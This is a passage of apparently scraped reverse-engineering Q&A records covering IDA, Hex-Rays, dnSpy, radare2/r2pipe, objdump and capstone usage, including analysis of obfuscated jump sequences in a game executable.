        "Body": "<p>I am trying to create a graph so that I can visualize the flow of a particular function in a game that I am interested in. I was initially using Cheat Engine to follow the flow of the function, but after going through about 20 jmps to finally get to the ret instruction, I decided to open up the executable in IDA so that I could see the graph view.</p>\n\n<p>When I opened the executable in IDA, I ran into an issue where the auto-analysis gets \"stuck\" in a loop, never finishing. </p>\n\n<p>Looking at the code, I do wonder if there is some sort of obfuscation going on, because it seems like the same thing could be coded in a far lesser number of instructions.</p>\n\n<p>What should I do?</p>\n\n<p>Here is an example of a piece of the code that I suspect is causing an issue (sorry if my comments don't make much sense):</p>\n\n<pre><code>cmp [rcx],rdi             ; if *rcx == rdi:\ncmove eax,r15d            ; do eax = r15d\nadd rcx,08                ; rcx += 8\ndec rdx                   ; i -= 1\nmov [rsp-08],rbp          ; var a = rbp\nlea rsp,[rsp-08]          ; rsp = &amp;a\nmov rbp,game.exe+13139A0  ; rbp = game.exe+13139A0\nxchg [rsp],rbp            ; swap(a, rbp) i.e.\n                          ;   a = game.exe+13139A0\n                          ;   rbp = rbp (original value)\nlea rsp,[rsp-08]          ; var b; rsp = &amp;b\nmov [rsp],rbx             ; b = rbx\nlea rsp,[rsp-08]          ; var c; rsp = &amp;c\nmov [rsp],rax             ; c = rax\nmov rbx,[rsp+10]          ; rbx = a\nmov rax,game.exe+1313990  ; rax = game.exe+1313990\ncmovne rbx,rax            ; rbx = i == 0 ? rax : rbx\nmov [rsp+10],rbx          ; a = rbx\nlea rsp,[rsp+08]          ; rsp = &amp;b\nmov rax,[rsp-08]          ; rax = c\nmov rbx,[rsp]             ; rbx = b\nlea rsp,[rsp+08]          ; rsp = &amp;a\nlea rsp,[rsp+08]          ; rsp = &amp;???\njmp qword ptr [rsp-08]    ; jmp a i.e.\n                          ;   i == 0: game.exe+1313990\n                          ;   i != 0: game.exe+13139A0\n</code></pre>\n",
        "Title": "IDA 7.0 (freeware) auto-analysis gets stuck in a loop",
        "Tags": "|ida|assembly|deobfuscation|",
        "Answer": "<p>Undefining the code piece, which makes autoanalysis stuck, usually helps. You can always return to this part and make it code again after autoanalysis is complete.</p>\n"
    },
    {
        "Id": "18338",
        "CreationDate": "2018-05-23T14:05:09.150",
        "Body": "<p>When decompiling a dll file there are certain lines of code that read like this:</p>\n\n<p><code>return \\u0013.\\u0002.\\u0001(url, info);</code></p>\n\n<p>I have two questions on this:</p>\n\n<p>1) does <code>\\u00xx</code> mean that it is obfuscated, if yes, what steps can I take to understand it</p>\n\n<p>2)  what are the <code>.</code> between each one, is it a dnSpy thing or does it mean something in C#</p>\n",
        "Title": "dnSpy - What do these symbols mean?",
        "Tags": "|decompilation|dll|.net|",
        "Answer": "<p>These are <a href=\"https://en.wikipedia.org/wiki/Unicode\" rel=\"noreferrer\">Unicode</a> characters that are not supported by the font used by dnSpy.\nUsually, you'll see it when the code is obfuscated or in cases where the developer used languages as Chinese and Russian in their code. But yeah, usually obfuscation.</p>\n\n<p>You can try to deobfuscate this .Net binary by using <a href=\"https://github.com/0xd4d/de4dot\" rel=\"noreferrer\">de4dot</a> which is doing an incredible job with deobfuscating obfuscated .net applications. de4dot's engine was later used to create <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"noreferrer\">dnSpy</a> which is my favorite .Net decompiler.</p>\n\n<p>The separating dots are the <a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/operators/member-access-operator\" rel=\"noreferrer\">dot Operator</a>, just as in most popular programming languages, the dot operator is used to access members of variables, types, etc. \"Members\" can be a method, attribute, and others. </p>\n\n<p>In your case, <code>\\u0001</code> is a method of <code>\\u0002</code> which is a member of the variable <code>\\u0013</code>.</p>\n"
    },
    {
        "Id": "18341",
        "CreationDate": "2018-05-23T16:44:21.493",
        "Body": "<p>I am trying to use <code>objdump -d fileName</code> on a s-rec file and it returns unknown architecture, however it recognizes <code>fileName: file format srec</code></p>\n\n<p>I looked at <code>objdump --help</code> and under supported targets srec and symbolsrec is listed. </p>\n\n<p>I have tried</p>\n\n<p><code>objdump -d -M srec myFile</code></p>\n\n<p><code>objdump -d -m srec myFile</code></p>\n\n<p>What is the best way to tackle this? Alternatives?</p>\n",
        "Title": "objdump: can't disassemble for architecture UNKNOWN!",
        "Tags": "|disassembly|",
        "Answer": "<p>In case this ends up being useful for anyone else, I had the same exact error, but it was in a cross-compilation project. My problem was that my CMake toolchain was erroneously setting CMAKE_OBJDUMP to /usr/bin/objdump instead of /usr/bin/arm-none-eabi-objdump. I fixed this by forcing my toolchain.cmake file to use /usr/bin/arm-none-eabi-objdump and /usr/bin/arm-none-eabi-objcopy, by adding these lines to my toolchain.cmake BEFORE any calls to find_program(...):</p>\n\n\n\n<pre><code>unset(CMAKE_OBJCOPY CACHE)\nunset(CMAKE_OBJDUMP CACHE)\n</code></pre>\n\n<p>My CMake version is 3.16.3. I submitted a bug report for this here: <a href=\"https://gitlab.kitware.com/cmake/cmake/-/issues/20787\" rel=\"nofollow noreferrer\">https://gitlab.kitware.com/cmake/cmake/-/issues/20787</a></p>\n"
    },
    {
        "Id": "18342",
        "CreationDate": "2018-05-23T17:18:36.893",
        "Body": "<p>I understand that I can execute my script within a session using <code>[0x401000]&gt; . server.py</code> and the pipe will be connected to it when I call <code>r2pipe.open()</code> with no arguments. </p>\n\n<p>Ideally I would like to spawn a simple tcp server in python which waits for specific commands from a client. The client is invoked from a live r2 session like <code>[0x401000]&gt; . client.py --command doAnalysis</code>. The command is passed to the server which opens a pipe to my r2 session, performs the analysis, then maybe updates my session (really to just be able to run commands from the server which was not opened from my r2 session). The reason I require the server to always be running is because it will be collecting data and I don't want to be re-collecting that data every time I need to do some analysis. I can't invoke the server from my r2 session because the session will be blocked by the server. </p>\n\n<p>It would be great if the server could open an r2pipe directly to my r2 session but I don't know how to do that or if is even possible. I tried using pickle to send the r2 instance over a socket but it couldn't pickle it. Any thoughts? </p>\n",
        "Title": "Is there a way to explicitly connect r2pipe to an existing radare2 session that I have open?",
        "Tags": "|debugging|radare2|python|",
        "Answer": "<p>I'm not sure I fully understood you, but I'll give it a try anyway.</p>\n\n<p>The following instructions will explain how to achieve something like this:|</p>\n\n<p><a href=\"https://i.stack.imgur.com/CXWs9.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/CXWs9.jpg\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<p>radare2 comes with its own webserver. Although at first, it might seems like an overkill, its actually quite useful, especially when you want to debug embedded systems, or simply to execute commands from a remote terminal.</p>\n\n<p>Simply launch the web server with <code>=h &lt;port&gt;</code> and connect to it with any HTTP client.</p>\n\n<p>You can print the help for this command by using <code>=h?</code>:</p>\n\n<pre><code>[0x00000000]&gt; =h?\n|Usage:  =[hH] [...] # http server\n| http server:\n| =h port       listen for http connections (r2 -qc=H /bin/ls)\n| =h-           stop background webserver\n| =h--          stop foreground webserver\n| =h*           restart current webserver\n| =h&amp; port      start http server in background\n| =H port       launch browser and listen for http\n| =H&amp; port      launch browser and listen for http in background\n</code></pre>\n\n<p>So let's use a oneliner command to spawn a radare2 web server with a session to our beloved <code>/bin/ls/</code>:</p>\n\n<pre><code>$ r2 -c=h /bin/ls\nStarting http server...\nopen http://localhost:9090/\nr2 -C http://localhost:9090/cmd/\n</code></pre>\n\n<p>Good, now that we have an HTTP server running with an open session, let's connect to it.</p>\n\n<p>You can do this with <code>curl</code>:</p>\n\n<pre><code>$ curl http://127.0.0.1:9090/cmd/?EHello,World!\n .--.     .--------------.\n | _|     |              |\n | O O   &lt;  Hello,World! |\n |  |  |  |              |\n || | /   `--------------'\n |`-'|\n `---'\n</code></pre>\n\n<p>You can even do this from your favorite browser:</p>\n\n<p><a href=\"https://i.stack.imgur.com/0X4Mh.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0X4Mh.png\" alt=\"enter image description here\"></a></p>\n\n<p>Although it's cool, it isn't helping you -- you asked for a solution using r2pipe. Well... there is!</p>\n\n<p><strong>What is r2pipe?</strong></p>\n\n<blockquote>\n  <p>The r2pipe APIs are based on a single r2 primitive found behind\n  r_core_cmd_str() which is a function that accepts a string parameter\n  describing the r2 command to run and returns a string with the result.</p>\n  \n  <p><em>Source: <a href=\"https://github.com/radare/radare2-r2pipe\" rel=\"noreferrer\">r2pipe repository</a></em></p>\n</blockquote>\n\n<p>As you probably know, using python, you can just do <code>import r2pipe</code> and <code>r2pipe.open(\"/bin/ls\")</code> to open a radare2 session with \"/bin/ls\". Did you know that you can connect with r2pipe to a remote web server? Yup.</p>\n\n<p>Let's write a quick script to do so:</p>\n\n<pre><code>import r2pipe\n\nprint(\"[+] Connecting with python r2pipe\")\n\nr2_remote = r2pipe.open(\"http://127.0.0.1:9090\")\ncommand = \"?E Welcome from server!\"\n\nwhile command != \"stop\":\n    print (r2_remote.cmd(command))\n    command = raw_input(\"r2cmd &gt; \")\n</code></pre>\n\n<p>Save the script to <code>poc.py</code> on you drive.</p>\n\n<p>Now let's run <code>r2 -c=h /bin/ls</code> in one terminal and <code>python poc.py</code> in another one:</p>\n\n<p><a href=\"https://i.stack.imgur.com/s6Rbw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/s6Rbw.png\" alt=\"enter image description here\"></a></p>\n\n<p>Yes, radare2 can also print QR codes.</p>\n"
    },
    {
        "Id": "18347",
        "CreationDate": "2018-05-24T10:41:47.827",
        "Body": "<p>I'm browsing an old 80186 BIOS ROM in IDA free. I have loaded the binary file at the correct address and created one big segment for the entire thing since I knew nothing about the internal structure.</p>\n\n<p>Now, as I have been digging around, disassembling, commenting etc, I have identified some things that I'd like to create new segments for, e.g. interrupt vector seg:offset, far jmps, jump tables that are offsets into different CS values, etc.</p>\n\n<ol>\n<li><p>Is this how you are supposed to use IDA segments? I.e. avoid having to hand-calculate linear addresses from jump table offsets by making a new segment with the (known) CS value at the time the table is used.</p></li>\n<li><p>How do I create a new segment without losing the data entered (disassembly, arrays, comments...) in the one all-encompassing segment I already have? It seems that to make room for a new segment, I need to delete or move the one that's already there, but when I do, all work done in that area (of linear addresses) is lost.</p></li>\n</ol>\n\n<p>Edit: This is the ROM. It's loaded at 0xf0000-0x100000, entry point is f000:fff0 (reset vector)\n<a href=\"https://www.dropbox.com/s/63oxq39w0v3rdo9/RYSA094_joined.bin?dl=0\" rel=\"nofollow noreferrer\">https://www.dropbox.com/s/63oxq39w0v3rdo9/RYSA094_joined.bin?dl=0</a></p>\n",
        "Title": "IDA: add segments without losing data",
        "Tags": "|ida|x86|",
        "Answer": "<p>IDA's UI deletes segment items because usually the code needs to be recreated if the segment base changes.\nIf you cheat and don't change the segment base immediately, items won't be destroyed. I.e. try this:</p>\n\n<ol>\n<li><p>create new segment specifying the same base as the existing segment. IDA usually fills in the current segment base if you use selection before invoking the  \"Create Segment\" menu item.</p></li>\n<li><p>change the segment base behind IDA's back using IDC or IDAPython:</p>\n\n<p>set_segm_attr(here, SEGATTR_SEL, newbase)</p></li>\n</ol>\n\n<p>Some xrefs, especially those based on current segment/CS may need to be recreated.</p>\n"
    },
    {
        "Id": "18350",
        "CreationDate": "2018-05-24T13:42:34.140",
        "Body": "<p>I have a <code>text.txt</code> file and I want to read it and print its content in the Output Window of IDA Pro (Free version).</p>\n\n<p>I wrote an .idc script as follows:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n\nstatic main() {\n    auto fp;\n    auto toPrint;\n\n    fp = fopen(\"C:\\Users\\bob\\text.txt\", \"r\"); // fp is a file handle\n\n    toPrint = fgetc(fp);\n\n    Message(\"%s is the string\\n\", toPrint);\n\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/UcTXV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UcTXV.png\" alt=\"enter image description here\"></a></p>\n\n<p>But it gives me an <code>unknown character</code> as shown above. I also tried using <code>toPrint = readstr(fp)</code>, but it does not work. (same unknown character)</p>\n\n<p>PS: I'm analysing a 32 bit PE file. I could not use IDAPython, as I'm using the x64 free version, so I have to resort to IDC. Any help appreciated.</p>\n",
        "Title": "Reading from text file and printing it in IDA Pro",
        "Tags": "|ida|c|encodings|",
        "Answer": "<p>The variant below works for me.</p>\n\n<pre><code>static main() {\n    auto fp;\n    auto toPrint;\n    fp = fopen(\"C:\\\\Users\\\\[cenzored]\\\\desktop\\\\text.txt\", \"r\"); // fp is a file handle\n    do {\n        toPrint = readstr(fp);\n         if (toPrint != -1)Message(toPrint);\n    } while (toPrint != -1);\n}\n</code></pre>\n\n<p>Actually there are 3 differences between your code and working variant:</p>\n\n<ul>\n<li>it uses <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/328.shtml\" rel=\"nofollow noreferrer\">readstr</a> which returns string </li>\n<li>It avoids using format string in Message function (but <code>Message(\"%s\", toPrint)</code> works too)</li>\n<li>As in normal C I use double slash (<code>\\\\</code> instead of <code>\\</code>) for the path of the file. This is probably an initial cause of your problem: symbols preceded by single slash are interpreted as <a href=\"https://en.wikipedia.org/wiki/Escape_sequences_in_C\" rel=\"nofollow noreferrer\">escape sequences</a> which means that the file name was interpreted incorrectly and was not opened.</li>\n</ul>\n\n<p>Using <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/321.shtml\" rel=\"nofollow noreferrer\">fgetc</a> in a way you did is also incorrect because it returns long or character, not a string, and Message function probably interprets is as a pointer.\nI checked this on IDA 6.9. In a later versions it is probably better to detect an EOF by <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1221.shtml\" rel=\"nofollow noreferrer\">value_is_string</a> function for this.</p>\n"
    },
    {
        "Id": "18357",
        "CreationDate": "2018-05-25T06:11:55.723",
        "Body": "<p>Is it possible to detect whether a given executable is a PIC by looking at the disassembler's output? If not, what are other valid ways to go about this?</p>\n",
        "Title": "Position-independent code dectection",
        "Tags": "|elf|pie|",
        "Answer": "<h1>Detection by analysing assembly</h1>\n<p>It will highly depend on the compiler used, but here are some constructions that will differ between position independent and position dependent code:</p>\n<ul>\n<li>if you spot a <code>jmp</code> to an absolute address, that will mean that it is PDC (only jumps relative to <code>RIP</code> will be used in PIC)</li>\n<li>when some data is referenced by absolute address, it is PDC</li>\n<li>as @Johann Aydinbas noticed, when you see patterns like <code>cal $+, pop</code> or <code>call xxx, pop</code> to push some absolute address onto the stack, it will likely be PIC</li>\n</ul>\n<h1>Detection by opening with debugger</h1>\n<p>You may also take advantage of the fact, that when you load position independent program and check address of some function, <code>main</code> for example, it will change each time you load it (because of <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow noreferrer\">ASLR</a>). The same won't be true for PDC - all addresses will remain the same.</p>\n<h1>Detection by reading the ELF header</h1>\n<p>Why making your job hard analysing the executable, while it provides explicitly the information you need. As you noted in the comment, <code>ET_EXEC</code> value of <code>e_type</code> will be present in PDC, while <code>ET_DYN</code> will appear in PIC. And, according to the second answer to this <a href=\"https://stackoverflow.com/questions/34519521/why-does-gcc-create-a-shared-object-instead-of-an-executable-binary-according-to\">question</a>, this is the information used to determine whether <code>ASLR</code> may be used, in <code>Linux</code>.</p>\n<h1>Other methods</h1>\n<p>You may of course use other tools for this purpose, like <code>file</code> or <code>readelf</code> for instance.</p>\n"
    },
    {
        "Id": "18363",
        "CreationDate": "2018-05-25T18:11:05.543",
        "Body": "<p>I've seen this <a href=\"https://reverseengineering.stackexchange.com/q/8317/23069\">question</a> which says <code>__PAIR__</code> macro does some conditional computation. But I can not relate that with standard I/O handles. Here is the pseudocode in IDA:</p>\n\n\n\n<pre><code>if ( (char *)hConout - 1 &lt;= (char *)0xFFFFFFFFFFFFFFFDi64 ) {\nConfigureStdHandles((PHANDLE)handle);\nv175 = __PAIR__(1, (unsigned int)handle[0]);\nv176 = __PAIR__(2, (unsigned int)handle[1]);\nv177 = __PAIR__(2, (unsigned int)handle[2]);\n</code></pre>\n\n<p>Here is the corresponding Assembly:</p>\n\n<pre><code>loc_1400088CA:                          ; CODE XREF: wmain+FBF\u2191j\nmov     [rsp+418h+handle+18h], rsi\nlea     rax, [rsi-1]\ncmp     rax, 0FFFFFFFFFFFFFFFDh\nsetbe   al\nmov     rcx, [rsp+418h]\ntest    al, al\njz      loc_140008BAD\nlea     rcx, [rsp+418h+handle] ; hIn\ncall    _ConfigureStdHandles\nmov     esi, 1\nmov     dword ptr [rsp+418h+var_268+4], esi\nmov     eax, dword ptr [rsp+418h+handle]\nmov     dword ptr [rsp+418h+var_268], eax\nmov     dword ptr [rsp+418h+var_260+4], 2\nmov     eax, dword ptr [rsp+418h+handle+8]\nmov     dword ptr [rsp+418h+var_260], eax\nmov     dword ptr [rsp+418h+var_258+4], 2\nmov     eax, dword ptr [rsp+418h+handle+10h]\nmov     dword ptr [rsp+418h+var_258], eax\ncmp     [rsp+418h+var_230], r15b\njz      short loc_140008958\nmov     [rsp+418h+var_268], r15\nloc_140008958:  \n</code></pre>\n\n<p>The handles are for standard input, output and error respectively. Can you explain what does the <code>__PAIR__</code> macro do with those handles?</p>\n",
        "Title": "What does _PAIR_ macro do with standard handles?",
        "Tags": "|disassembly|",
        "Answer": "<p><code>__PAIR__</code> represents a 64-bit value constructed from two 32-bit values. Because you have 64-bit variables (<code>var_260</code> etc) being initialized by halves, decompiler detected a 64-bit move pattern and represented the right-hand side it as <code>__PAIR__</code> helper. If you think it's wrong, you can fix it by:</p>\n\n<ol>\n<li><p>fixing the stack variable to be two 32-bit ones instead of one 64-bit. You can do it by opening the stack frame view (e.g double-click on the stkvar)  and editing the  frame structure (e.g with D key). After refreshing (F5), the decompiler should show simple 32-bit assignments without <code>__PAIR__</code>.</p></li>\n<li><p>splitting the 64-bit assignment into separate 32-bit ones. For that, use <a href=\"https://www.hex-rays.com/products/decompiler/manual/cmd_split.shtml\" rel=\"nofollow noreferrer\">\"Split Assignment\"</a> in the context menu.</p></li>\n</ol>\n\n<hr>\n\n<p><strong><em>EDIT</em></strong> I suspect that those stack variables are not 64-bit integers but actually small structs of two members, e.g.</p>\n\n<pre><code>struct handle_desc {\n  int handle;\n  int index;\n}\n</code></pre>\n\n<p>maybe look at how they\u2019re used later in the code.</p>\n"
    },
    {
        "Id": "18365",
        "CreationDate": "2018-05-26T04:33:13.960",
        "Body": "<p>It appears to me that in my function the compiler has reused a stack slot for two variables of types. However, Hex-Rays has not recognized it as such. How can I split the local variable into two?</p>\n",
        "Title": "How do I resolve IDA pro Hexrays aliased local variables?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>I usually add structs with unions to make the output slightly more readable when the compiler has reused a stack slot for different variables.</p>\n\n<p>In 7.2, it seems that you can force the decompiler to <a href=\"https://www.hex-rays.com/products/ida/7.2/\" rel=\"nofollow noreferrer\">\"create a new variable\"</a>, which makes this easier and less ugly. Yay!</p>\n"
    },
    {
        "Id": "18366",
        "CreationDate": "2018-05-26T05:16:18.310",
        "Body": "<p>Hex-Rays decompiled (with the assistance of pdb symbols) a piece of code as such: <code>XPerfAddIn::CFramesInfoSource::MatchEventDescriptor( (XPerfAddIn::CFramesInfoSource *)2</code></p>\n\n<p>And by my following of the assembly, it is correct:</p>\n\n<pre><code>xor     r15d, r15d\ntest    rax, rax\njz      loc_1800224C7\nlea     r13, [rax+20h]\ncmp     [r13+0], r15\njz      loc_1800224C7\nlea     r12, [r14+28h]\nmov     rax, [rsp+260h+a3]\nmov     rcx, [rax]\ncmp     rcx, cs:qword_180044990\njnz     loc_1800224C7\nmov     rax, [rax+8]\ncmp     rax, cs:qword_180044998\njnz     loc_1800224C7\nlea     ecx, [r15+2]\nmov     r9d, ecx        ; a4\nlea     r8, MSHTML_CDOC_ONPAINT_START_V1 ; a3\nmov     rdx, r12        ; a2\ncall    ?MatchEventDescriptor@CFramesInfoSource@XPerfAddIn\n</code></pre>\n\n<p>MatchEventDescriptor does not use the 'this' parameter in rcx, so it doesn't really matter what gets passed in. So <em>why</em> would the compiler emit an extra lea instruction to pass in a constant 2 instead of just leaving it 0... or passing in the actual, correct this value?</p>\n",
        "Title": "Why would MSVC pass a constant \"2\" for an unused this parameter?",
        "Tags": "|ida|disassembly|msvc|",
        "Answer": "<p>Apparently <code>ecx</code> is just used as a temporary for calculating the value 2 which is copied to <code>r9d</code> and is probably used later in the function. </p>\n\n<p>When  the decompiler does not have reliable information about function prototype, it has to resort to heuristics, or guessing.  Since the demangled function name looks like a C++ method, it assumes that it\u2019s a method of a class <code>XPerfAddIn::CFramesInfoSource</code> and since it\u2019s not marked <code>static</code>, it probably takes in the class instance in <code>rcx</code> as common for the <code>thiscall</code> calling convention, thus the value in <code>rcx</code> (<code>ecx</code>) is assumed to be the <code>this</code> pointer. </p>\n\n<p>If you analyzed the function and deduced that it does not actually use <code>rcx/ecx</code>, you can edit the function prototype, remove the <code>this</code> argument and <code>__thiscall</code> calling convention to get \u201cproper\u201d decompilation. </p>\n"
    },
    {
        "Id": "18368",
        "CreationDate": "2018-05-26T11:17:33.780",
        "Body": "<p>I have taken a dump of a game using Explorer Suite, and while looking at some obfuscated parts of the game PE's text section in IDA, I've seen code that follows this form: </p>\n\n<pre><code>mov rbp, 7FF633CE2790h\njmp rbp\n</code></pre>\n\n<p>From what I understand, code is meant to be relocatable, so why would a hardcoded address - which appears to be referring to a virtual address not known until runtime - be here?</p>\n\n<p>To deal with these \"hardcoded\" jump addresses, do I need rebase the PE in IDA to the virtual address it was located at when the program ran? I believe that the dumper I used rebases to 140000000, which of course causes IDA to be unable to analyze the above code. </p>\n\n<p>Edit: here's a concrete example:</p>\n\n<pre><code> game.exe+1B9E0E1E - 45 85 C0              - test r8d,r8d              ; ZF = r8d == 0\n game.exe+1B9E0E21 - 48 89 6C 24 F8        - mov [rsp-08],rbp          ; rsp = &amp;a\n game.exe+1B9E0E26 - E9 D8897FFF           - jmp game.exe+1B1D9803\n\n game.exe+1B1D9803 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;b\n game.exe+1B1D9808 - 48 BD 7527F508F77F0000 - mov rbp,game.exe+1382775 ; rbp = addr1\n game.exe+1B1D9812 - 48 87 2C 24           - xchg [rsp],rbp            ; b = addr1, rbp = rbp\n game.exe+1B1D9816 - E9 E6F33C02           - jmp game.exe+1D5A8C01\n\n game.exe+1D5A8C01 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;c\n game.exe+1D5A8C06 - 48 89 1C 24           - mov [rsp],rbx             ; c = rbx\n game.exe+1D5A8C0A - 48 89 44 24 F8        - mov [rsp-08],rax          ; d = rax\n game.exe+1D5A8C0F - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &amp;d\n game.exe+1D5A8C14 - E9 D8151C00           - jmp game.exe+1D76A1F1\n\n game.exe+1D76A1F1 - 48 8B 5C 24 10        - mov rbx,[rsp+10]          ; rbx = b\n game.exe+1D76A1F6 - 48 B8 9027F508F77F0000 - mov rax,game.exe+1382790 ; rax = addr2\n game.exe+1D76A200 - E9 CA476400           - jmp game.exe+1DDAE9CF\n\n game.exe+1DDAE9CF - 48 0F44 D8            - cmove rbx,rax             ; rbx = (r8d == 0) ? addr2 : addr1\n game.exe+1DDAE9D3 - 48 89 5C 24 10        - mov [rsp+10],rbx          ; b = rbx (addr1 or addr2)\n game.exe+1DDAE9D8 - 48 8B 04 24           - mov rax,[rsp]                      \n game.exe+1DDAE9DC - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;c\n game.exe+1DDAE9E1 - E9 08F408FD           - jmp game.exe+1AE3DDEE              \n\n game.exe+1AE3DDEE - 48 8B 1C 24           - mov rbx,[rsp]\n game.exe+1AE3DDF2 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;b\n game.exe+1AE3DDF7 - 48 8D 64 24 08        - lea rsp,[rsp+08]          ; rsp = &amp;a\n game.exe+1AE3DDFC - FF 64 24 F8           - jmp qword ptr [rsp-08]    ; r8d == 0: jmp addr2, else jmp addr1\n\n ; addr1\n game.exe+1382775 - E9 234F0800           - jmp game.exe+140769D\n\n ; addr2\n game.exe+1382790 - E9 FDAD991C           - jmp game.exe+1DD1D592\n</code></pre>\n",
        "Title": "Hardcoded addresses in dumped PEs",
        "Tags": "|disassembly|deobfuscation|",
        "Answer": "<p>From reading up about the obfuscation tool in use here, this is a technique it uses to make the analysis a little harder.   </p>\n\n<p>Now the question is how to work around this:<br>\nI'm thinking I could use a script to find these absolute addresses in the dumped PE, and convert them to ones that IDA can find.</p>\n\n<p>Any other ideas?</p>\n\n<p>Edit:</p>\n\n<p>After loading the dumped executable into IDA with a couple of different base addresses, I've found that the address constant changed. I've also found an entry in the executable's relocation directory for <code>game.exe+1B1D980A</code> (which is where the address constant in the code example is located). </p>\n\n<p>If I could disable the relocation that IDA is performing on these addresses, the analysis would work properly. I will submit a new question on that.</p>\n"
    },
    {
        "Id": "18371",
        "CreationDate": "2018-05-26T20:07:54.603",
        "Body": "<p>I have been using the <a href=\"https://github.com/gdabah/distorm\" rel=\"nofollow noreferrer\">Distorm</a> library, using the <code>distorm_decode()</code> function in x64 to retrieve Opcode and Operands from binary code. For example, <code>44 0F45 C8</code> is decoded to <code>cmovne r9d,eax</code>.</p>\n\n<p>I would like to have a way to parse the hex binary instruction to extract the opcode part of it, in the example <code>44 *0F45* C8</code>, would like to extract <code>*0F45*</code> which is the <code>cmovne</code> opcode part.</p>\n\n<p>I was looking at <a href=\"http://ref.x86asm.net/coder64.html\" rel=\"nofollow noreferrer\">here</a> and I was thinking of maybe doing a lookup at a given Hex Opcode, given a mnemonic string.</p>\n\n<p>Are there any other built in libraries like Distorm that can achieve this? As far as I understand, Distorm has a <a href=\"https://github.com/gdabah/distorm/wiki/DecomposeInterface\" rel=\"nofollow noreferrer\">distorm_decompose</a> function and interface, but I can't reach to the <code>cmovne</code> binary representation <code>*0F45*</code> from the <code>struct _DInst</code> returned from that call.</p>\n",
        "Title": "Parse Opcodes from Binary Code",
        "Tags": "|disassembly|",
        "Answer": "<p>Elian posted a nice answer that explains the theory </p>\n\n<p>here is an implementation using capstone and python </p>\n\n<pre><code>import sys\nimport capstone\n\nprint ( \"dissecting a stram of hex pairs to its components in x86\")\n\nif(len(sys.argv) &lt; 2):\n    sys.exit(\"usage python %s quoted_hex_pairs like %s\" % ( sys.argv[0] ,\n    \"\\\"F0 0D 15 F0 0D BA D0 12 50 0D\\\"\"))\n\nCODE = []\na = sys.argv[1].split(' ')\nfor i in range(0,len(a),1):\n    CODE.append( chr(int(a[i],16)))\nCODESTR = ''.join(CODE)\n\nmd = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)\nmd.detail = True\n\nfor i in md.disasm(CODESTR, 0x1000):\n    print \"TLDR:\"\n    for j in range( 0,len(i.opcode),1):\n        if(i.opcode[j] !=0):\n            print \"%02x\" % i.opcode[j],\n    print \"\\n\"            \n    print ( \"FULL DETAILS\"              )\n    print ( \"i.address\",    i.address   );    print ( \"i.mnemonic\",   i.mnemonic    ) \n    print ( \"i.op_str\" ,    i.op_str    );    print (   \"i.id\" ,        i.id        ) \n    print ( \"i.size\" ,      i.size      );    print (   \"i.bytes\" ,     i.bytes     ) \n    print ( \"i.prefix\" ,    i.prefix    );    print (   \"i.opcode\" ,    i.opcode    )\n    print ( \"i.rex\" ,       i.rex       );    print (   \"i.addr_size\" , i.addr_size ) \n    print ( \"i.modrm\" ,     i.modrm     );    print (   \"i.sib\" ,       i.sib       ) \n    print ( \"i.disp\" ,      i.disp      );    print (   \"i.sib_index\" , i.sib_index ) \n    print ( \"i.sib_scale\" , i.sib_scale );    print (   \"i.sib_base\" ,  i.sib_base  )\n    print ( \"i.sse_cc\" ,    i.sse_cc    );    print (   \"i.avx_cc\" ,    i.avx_cc    ) \n    print ( \"i.avx_sae\" ,   i.avx_sae   );    print (   \"i.avx_rm\" ,    i.avx_rm    ) \n</code></pre>\n\n<p>output </p>\n\n<pre><code>python capstest.py \"44 0f 45 c8\"\ndissecting a stram of hex pairs to its components in x86\nTLDR:\n0f 45\n\nFULL DETAILS\n('i.address', 4096L)\n('i.mnemonic', u'cmovne')\n('i.op_str', u'r9d, eax')\n('i.id', 83L)\n('i.size', 4)\n('i.bytes', bytearray(b'D\\x0fE\\xc8'))\n('i.prefix', [0, 0, 0, 0])\n('i.opcode', [15, 69, 0, 0])\n('i.rex', 68)\n('i.addr_size', 8)\n('i.modrm', 200)\n('i.sib', 0)\n('i.disp', 0)\n('i.sib_index', 0L)\n('i.sib_scale', 0)\n('i.sib_base', 0L)\n('i.sse_cc', 0L)\n('i.avx_cc', 0L)\n('i.avx_sae', False)\n('i.avx_rm', 0L)\n</code></pre>\n"
    },
    {
        "Id": "18374",
        "CreationDate": "2018-05-27T06:38:22.897",
        "Body": "<p>I am working with a dumped program, and I essentially want to load it into IDA without performing any (relocation) address fixups. Is there a way to do this?</p>\n\n<p>I have tried the following without success:<br>\n1. Manually loading it, and choosing <em>not</em> to load the .reloc section<br>\n2. Rebasing the image base to zero</p>\n",
        "Title": "How do I load an executable into IDA without it correcting relocatable references?",
        "Tags": "|ida|",
        "Answer": "<p>I found that if I chose a load address manually, IDA would offset these references by whatever address I chose. If I didn't choose a load address manually, then IDA wouldn't change those references, so then all I needed to do was rebase the program <em>without</em> performing fixups. </p>\n"
    },
    {
        "Id": "18380",
        "CreationDate": "2018-05-27T21:09:45.260",
